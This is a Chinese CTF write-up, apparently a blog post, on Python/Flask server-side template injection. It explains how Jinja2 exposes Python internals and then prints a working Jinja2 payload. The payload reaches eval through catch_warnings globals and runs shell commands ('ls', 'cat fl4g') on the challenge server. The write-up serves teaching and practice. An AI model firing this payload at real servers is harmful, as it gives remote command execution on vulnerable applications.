python_template_injection

0x01漏洞介绍

Python Web 模板引擎

1.Jinja2

2.Tornado.template

3.Django.template

ornado 中模板渲染函数在有两个:

1.render

2.render_string

Flask 中模板渲染函数也是有两个

1.render_template

2.render_template_string

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把**{{}}**包裹的内容当做变量解析替换。

instance.__ class__ 可以获取当前实例的类对象

class.__ mro__ 获取当前类对象的所有继承类’

__ subclasses__()这个方法返回了类的所有存活的子类的引用

简而言之就是我们{{}}中的内容被当做了变量解析,那么我们可以利用这一点,调用python的类,实现我们想要达到的目的

0x02解题过程

在这里插入图片描述

拿到题目就一个这个提示,源码没有内容,所以,我们要拿到flag就得利用这个漏洞

漏洞检测:

http://124.126.19.106:33006/{{6+6}}

在这里插入图片描述
返回了{{}}中的执行结果,那说明,存在漏洞,接下来利用漏洞获取flag

{{ config.items() }}可以查看服务器的配置信息

http://124.126.19.106:33006/{{ config.items() }}

在这里插入图片描述

出现配置信息

payload:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述
将ls命令改为 cat fl4g即可读取fl4g的内容,payload如下

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}  

  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数

    {% if 'eval' in b.keys() %}    //找到了

      {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

得到flag
在这里插入图片描述

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值